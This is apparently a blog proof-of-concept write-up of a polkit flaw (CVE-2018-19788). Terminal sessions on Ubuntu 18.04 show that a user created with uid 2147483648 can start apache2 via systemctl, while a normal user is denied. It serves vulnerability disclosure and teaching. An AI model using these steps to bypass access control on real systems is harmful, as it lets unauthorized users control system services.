Exploit PoC: Linux unprivileged user access to systemctl command (CVE-2018–19788)
Vulnerability Summary: A low privilege user on most Linux systems with uid greater than 2147483647 automatically gets the system level privilege for issuing system level systemctl command.
A word about Polkit (formerly PolicyKit): Polkit is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged ones. Polkit allows a level of control of centralized system policy.
Vulnerability Description: The flaw was found in PolicyKit (aka polkit) 0.115 that allows a user with a uid greater than INT_MAX to successfully execute any systemctl command. INT_MAX is the maximum value an integer variable can store which equals to 2147483647.
Here is a quick step-by-step PoC of exploiting the vulnerability.
My PoC Machine: I used my ubuntu machine (Ubuntu 18.04.1 LTS) for this purpose.
My PoC Summary:
- I created a user called ‘gooduser’ with system provided default uid
- When logged in using ‘gooduser’, I am not allowed to run system level command ‘systemctl’.
- I then created another user called ‘baduser’ with uid 2147483648 (which is larger than Linux INT_MAX value).
When I logged in using ‘baduser’, I can easily run systemctl command to stop/start any service.
My Ubuntu kernel details:
ubuntu@ubuntu:~$ cat /proc/version
Linux version 4.15.0–38-generic (buildd@lcy01-amd64–022) (gcc version 7.3.0 (Ubuntu 7.3.0–16ubuntu3)) #41-Ubuntu SMP Wed Oct 10 10:58:23 UTC 2018
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$ cat /etc/issue
Ubuntu 18.04.1 LTS \n \l
ubuntu@ubuntu:~$
Step-1: Create a good user named ‘gooduser’ with system default uid
ubuntu@ubuntu:~$ sudo adduser gooduser
[sudo] password for ubuntu:
Adding user `gooduser’ …
Adding new group `gooduser’ (1001) …
Adding new user `gooduser’ (1001) with group `gooduser’ …
Creating home directory `/home/gooduser’ …
Copying files from `/etc/skel’ …
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for gooduser
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] Y
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$
Step-2: Check apache2 service status using systemctl command which shows it is not active.
ubuntu@ubuntu:~$ systemctl is-active apache2.service
inactive
ubuntu@ubuntu:~$ systemctl status apache2.service
● apache2.service — The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)
Drop-In: /lib/systemd/system/apache2.service.d
└─apache2-systemd.conf
Active: inactive (dead) since Fri 2018–12–07 11:38:46 JST; 1h 46min ago
Process: 4993 ExecStop=/usr/sbin/apachectl stop (code=exited, status=0/SUCCESS)
Process: 4880 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
Main PID: 4894 (code=exited, status=0/SUCCESS)
Dec 07 11:32:17 ubuntu systemd[1]: Starting The Apache HTTP Server…
Dec 07 11:32:17 ubuntu apachectl[4880]: AH00558: apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to
Dec 07 11:32:17 ubuntu systemd[1]: Started The Apache HTTP Server.
Dec 07 11:38:46 ubuntu systemd[1]: Stopping The Apache HTTP Server…
Dec 07 11:38:46 ubuntu apachectl[4993]: AH00558: apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to
Dec 07 11:38:46 ubuntu systemd[1]: Stopped The Apache HTTP Server.
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$ systemctl is-active apache2.service
inactive
ubuntu@ubuntu:~$
Step-3: Login using user ‘gooduser’
ubuntu@ubuntu:~$ su — gooduser
Password:
gooduser@ubuntu:~$ id
uid=1001(gooduser) gid=1001(gooduser) groups=1001(gooduser)
gooduser@ubuntu:~$
gooduser@ubuntu:~$
Step-4: Check the apache2 service and try to start it. It will not start due Access denied.
gooduser@ubuntu:~$ systemctl is-active apache2.service
inactive
gooduser@ubuntu:~$
gooduser@ubuntu:~$ systemctl start apache2.service
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to start ‘apache2.service’.
Authenticating as: ubuntu,,, (ubuntu)
Password:
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
==== AUTHENTICATION FAILED ===
Failed to start apache2.service: Access denied
See system logs and ‘systemctl status apache2.service’ for details.
gooduser@ubuntu:~$
Step-5: Log off
gooduser@ubuntu:~$ exit
logout
ubuntu@ubuntu:~$
Now let’s do the exploit.
Step-1: Create a bad user named ‘baduser’ with uid as 2147483648
ubuntu@ubuntu:~$ sudo adduser baduser — uid 2147483648
Adding user `baduser’ …
Adding new group `baduser’ (2147483648) …
Adding new user `baduser’ (2147483648) with group `baduser’ …
Creating home directory `/home/baduser’ …
Copying files from `/etc/skel’ …
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for baduser
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] Y
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$
Step-2: Check apache2 service status using systemctl command. Again, it is not active.
ubuntu@ubuntu:~$ systemctl is-active apache2.service
inactive
ubuntu@ubuntu:~$ systemctl status apache2.service
● apache2.service — The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)
Drop-In: /lib/systemd/system/apache2.service.d
└─apache2-systemd.conf
Active: inactive (dead) since Fri 2018–12–07 11:38:46 JST; 1h 53min ago
Process: 4993 ExecStop=/usr/sbin/apachectl stop (code=exited, status=0/SUCCESS)
Process: 4880 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
Main PID: 4894 (code=exited, status=0/SUCCESS)
Dec 07 11:32:17 ubuntu systemd[1]: Starting The Apache HTTP Server…
Dec 07 11:32:17 ubuntu apachectl[4880]: AH00558: apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to
Dec 07 11:32:17 ubuntu systemd[1]: Started The Apache HTTP Server.
Dec 07 11:38:46 ubuntu systemd[1]: Stopping The Apache HTTP Server…
Dec 07 11:38:46 ubuntu apachectl[4993]: AH00558: apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to
Dec 07 11:38:46 ubuntu systemd[1]: Stopped The Apache HTTP Server.
ubuntu@ubuntu:~$
Step-3: Login using user ‘baduser’
ubuntu@ubuntu:~$ su — baduser
Password:
baduser@ubuntu:~$ id
uid=2147483648(baduser) gid=2147483648(baduser) groups=2147483648(baduser)
baduser@ubuntu:~$
Step-4: Check the apache2 service and try to start it. Notice, it can be started without any issue.
baduser@ubuntu:~$
baduser@ubuntu:~$ systemctl is-active apache2.service
inactive
baduser@ubuntu:~$
baduser@ubuntu:~$ systemctl start apache2.service
(process:5963): GLib-GObject-WARNING **: 13:33:38.559: value “-2147483648” of type ‘gint’ is invalid or out of range for property ‘uid’ of type ‘gint’
baduser@ubuntu:~$
baduser@ubuntu:~$ systemctl is-active apache2.service
active
baduser@ubuntu:~$
Step-5: Exploited successfully. Now log off and verify the service status again.
baduser@ubuntu:~$
baduser@ubuntu:~$ exit
logout
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$ systemctl is-active apache2.service
active
ubuntu@ubuntu:~$
ubuntu@ubuntu:~$ systemctl status apache2.service
● apache2.service — The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)
Drop-In: /lib/systemd/system/apache2.service.d
└─apache2-systemd.conf
Active: active (running) since Fri 2018–12–07 13:33:38 JST; 1min 7s ago
Process: 4993 ExecStop=/usr/sbin/apachectl stop (code=exited, status=0/SUCCESS)
Process: 5967 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
Main PID: 5981 (apache2)
Tasks: 6 (limit: 4696)
CGroup: /system.slice/apache2.service
├─5981 /usr/sbin/apache2 -k start
├─5984 /usr/sbin/apache2 -k start
├─5985 /usr/sbin/apache2 -k start
├─5986 /usr/sbin/apache2 -k start
├─5987 /usr/sbin/apache2 -k start
└─5988 /usr/sbin/apache2 -k start
Dec 07 13:33:38 ubuntu systemd[1]: Starting The Apache HTTP Server…
Dec 07 13:33:38 ubuntu apachectl[5967]: AH00558: apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to
Dec 07 13:33:38 ubuntu systemd[1]: Started The Apache HTTP Server.
ubuntu@ubuntu:~$